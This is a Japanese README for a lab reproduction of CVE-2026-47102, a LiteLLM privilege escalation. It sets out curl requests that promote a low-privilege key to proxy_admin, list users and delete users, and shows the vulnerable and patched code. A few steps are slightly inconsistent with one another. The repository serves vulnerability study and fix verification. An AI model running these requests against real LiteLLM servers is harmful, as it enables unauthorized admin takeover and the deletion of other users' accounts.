
該当する脆弱性を個人的に再現するためのコード
/user/updateLiteLLM v1.83.7(v1.83.10 より前のバージョン)の
/user/updateエンドポイントは、このエンドポイントへのアクセス権を持つ 低権限ユーザーが自分のアカウントを更新する際にuser_roleフィールドをproxy_adminに変更でき、 未承認の権限昇格を実現します。
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-47102 |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (不適切な認可) |
| 影響を受けるバージョン | LiteLLM < 1.83.10(v1.83.7 で確認) |
| 修正バージョン | v1.83.10+(user_role フィールド変更権限チェックを追加) |
| 公開日 | 2026-05-21 |
| 発見者 | Fenix Qiao (13ph03nix) — Obsidian Security |
| リンク | NVD |
LiteLLM の /user/update エンドポイントは、ユーザー属性の更新に使用されます。影響を受けるバージョンでは、/user/update
の can_user_call_user_update() 関数は、ユーザーが指定されたユーザーを更新する権限があるかどうかをチェックします(ユーザーが自分のレコードを更新することを許可します)が、変更可能なフィールドに制限を設けていません。
つまり、/user/update エンドポイントにアクセスできる任意のユーザー(たとえば、管理者がそのルート権限を付与したユーザーや、他の脆弱性を通じてこのエンドポイントへのアクセスを取得した攻撃者)は、自分の user_role フィールドを変更することで自身のロールを proxy_admin に昇格させ、すべての管理エンドポイントへの完全なアクセスを取得できます。
Admin が internal_user に対して /user/update ルート権限を持つ API key を作成
→ internal_user が route-level アクセス権を取得
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"} ← CVE-2026-47102
→ ロールが proxy_admin に昇格
→ GET /user/list (管理者アクセスの確認)
2つの脆弱性は連鎖して使用可能:CVE-2026-47101 でワイルドカードルートの key(
/user/updateへのアクセス)を作成し、 CVE-2026-47102 で自分のロールをproxy_adminに昇格させる。
# 1. PostgreSQL + 脆弱な LiteLLM(v1.83.7-stable)を起動
docker compose up -d litellm
# サービスが準備できるのを待つ(約10〜30秒)
sleep 15
# コンテナログを確認
docker logs litellm-47102-privesc 2>&1 | tail -10
期待される出力には、Uvicorn running on http://0.0.0.0:4000 などの起動成功ログが含まれている必要があります。
master key を使用して低権限の internal_user アカウントを作成します:
curl -s -X POST http://localhost:4002/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
期待される出力:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
管理者は internal_user のために /user/update ルートアクセス権を持つ API key を作成します。
これは本当の環境で /user/update エンドポイントへのアクセス権を持つ典型的な方法です:
# master key を使用して /user/update ルートを持つ key を作成
curl -s -X POST http://localhost:4002/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'
期待される出力:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
前の手順で取得した /user/update ルート権限を持つ key を使用して、ユーザーロールを proxy_admin に昇格させます:
curl -s -X POST http://localhost:4002/user/update \
-H "Authorization: Bearer sk-route-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
期待される出力:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ 脆弱性のポイント:
user_roleがinternal_userからproxy_adminに変更されました!/user/updateエンドポイントは、ユーザーが自分のuser_roleフィールドを変更することを許可しており、フィールドレベルの権限制限はありません。
/user/list エンドポイントを使用してロール昇格が有効であることを確認します(元の internal_user の API key を使用。この key にはルート制限がなく、proxy_admin に昇格すると自動的に管理権限を取得します):
# すでに proxy_admin に昇格した key(元の internal_user key、ルート制限なし)を使用
curl -s -X GET http://localhost:4002/user/list \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json"
期待される出力:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
取得した proxy_admin 権限を利用して、/user/delete 経由で任意のユーザーを削除できます
(同じく元の internal_user の API key を使用):
curl -s -X POST http://localhost:4002/user/delete \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
期待される出力:
1
上記の手順は demo.sh にまとめられており、直接実行できます:
# 完全再現(脆弱版 + 修正版の比較を含む)
bash demo.sh
修正バージョン(v1.83.10-stable)を起動して CVE-2026-47102 が修正されたことを確認します:
docker compose --profile fixed up -d litellm-fixed
internal_user を作成:
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")
/user/update ルートを持つ key を作成:
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
権限昇格を試みる(ブロックされることを想定):
curl -s -X POST http://localhost:4003/user/update \
-H "Authorization: Bearer $FIXED_ROUTE_KEY" \
-H "Content-Type: application/json" \
-d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"
期待される出力(修正バージョンは不正なリクエストをブロック):
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}
脆弱バージョンとの比較:
| テストシナリオ | 脆弱バージョン (v1.83.7) | 修正バージョン (v1.83.10) |
|---|---|---|
| ルート key による user_role 変更 | ✅ proxy_admin への昇格成功 | ❌ ブロックされる("Only proxy admins can modify user roles.") |
| /user/list へのアクセス | ✅ ユーザーリスト取得成功 | ❌ ブロックされる |
脆弱性の根本原因は /user/update エンドポイントの can_user_call_user_update() 関数にあります:
/user/update — フィールドレベルの権限チェックの欠如# 脆弱なコード — internal_user_endpoints.py:1197-1208
def can_user_call_user_update(user_api_key_dict, user_info):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # 管理者は任意のユーザーを更新可能
elif user_api_key_dict.user_id == user_info.user_id:
return True # ❌ ユーザーは自分のレコードを更新可能 — user_role フィールドも含む!
return False
修正(v1.83.10+):
def can_user_call_user_update(user_api_key_dict, user_info, data):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # 管理者は引き続き任意のユーザーとフィールドを更新可能
elif user_api_key_dict.user_id == user_info.user_id:
# 非管理者が変更可能なフィールドを制限
allowed_fields = {"metadata", "display_name", "email"}
requested_fields = set(data.keys())
forbidden = requested_fields - allowed_fields
if forbidden:
raise ForbiddenError(f"Cannot modify fields: {forbidden}")
return True
return False
攻撃者は /user/update エンドポイントにアクセスできる API key を必要とします。これは次の方法で取得できます:
/user/update ルートを持つ key を作成した/key/generate のワイルドカードルート脆弱性を利用してワイルドカード key を作成/user/update にアクセス権を持つStep 1: /user/update ルート権限を持つ API key を取得
Step 2: /user/update を呼び出してロールを昇格:
POST /user/update
Authorization: Bearer sk-route-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
Step 3: 管理者権限を確認:
GET /user/list
Authorization: Bearer sk-route-key
修正バージョンでは /user/update にフィールドレベルの権限チェックが追加されました:
metadata などの重要でないフィールドのみ更新可能user_role フィールドを保護 — proxy_admin のみがユーザーロールを変更可能エラーメッセージ:"Only proxy admins can modify user roles."
CVE-2026-47102/
├── README.md # このファイル
├── CVE-2026-47102_漏洞复现报告.docx # 再現レポート (中国語)
├── docker-compose.yml # PostgreSQL + 脆弱/修正 LiteLLM
├── config.yaml # データベース接続を含む LiteLLM 設定
├── requirements.txt # Python 依存関係
├── demo.sh # ワンクリック再現スクリプト
├── exploit/
│ ├── exploit.py # Python エクスプロイトスクリプト
│ └── payload.py # ペイロードビルダー
├── docs/
└── screenshots/
/user/update フィールドレベル認可)user_role の変更を伴う /user/update 呼び出しを異常なアクティビティとして監視免責事項: この内容は教育目的および認可されたセキュリティテストのためにのみ提供されています。
| 比較項目 | CVE-2026-47101 | CVE-2026-47102 |
|---|
| 脆弱性の焦点 | /key/generate が allowed_routes を検証しない | /user/update がフィールドレベルの権限を欠く |
| 攻撃の前提条件 | internal_user が直接 /key/generate を呼び出せる | まず /user/update ルートへのアクセス権を取得する必要がある |
| 修正バージョン | v1.83.14 | v1.83.10 |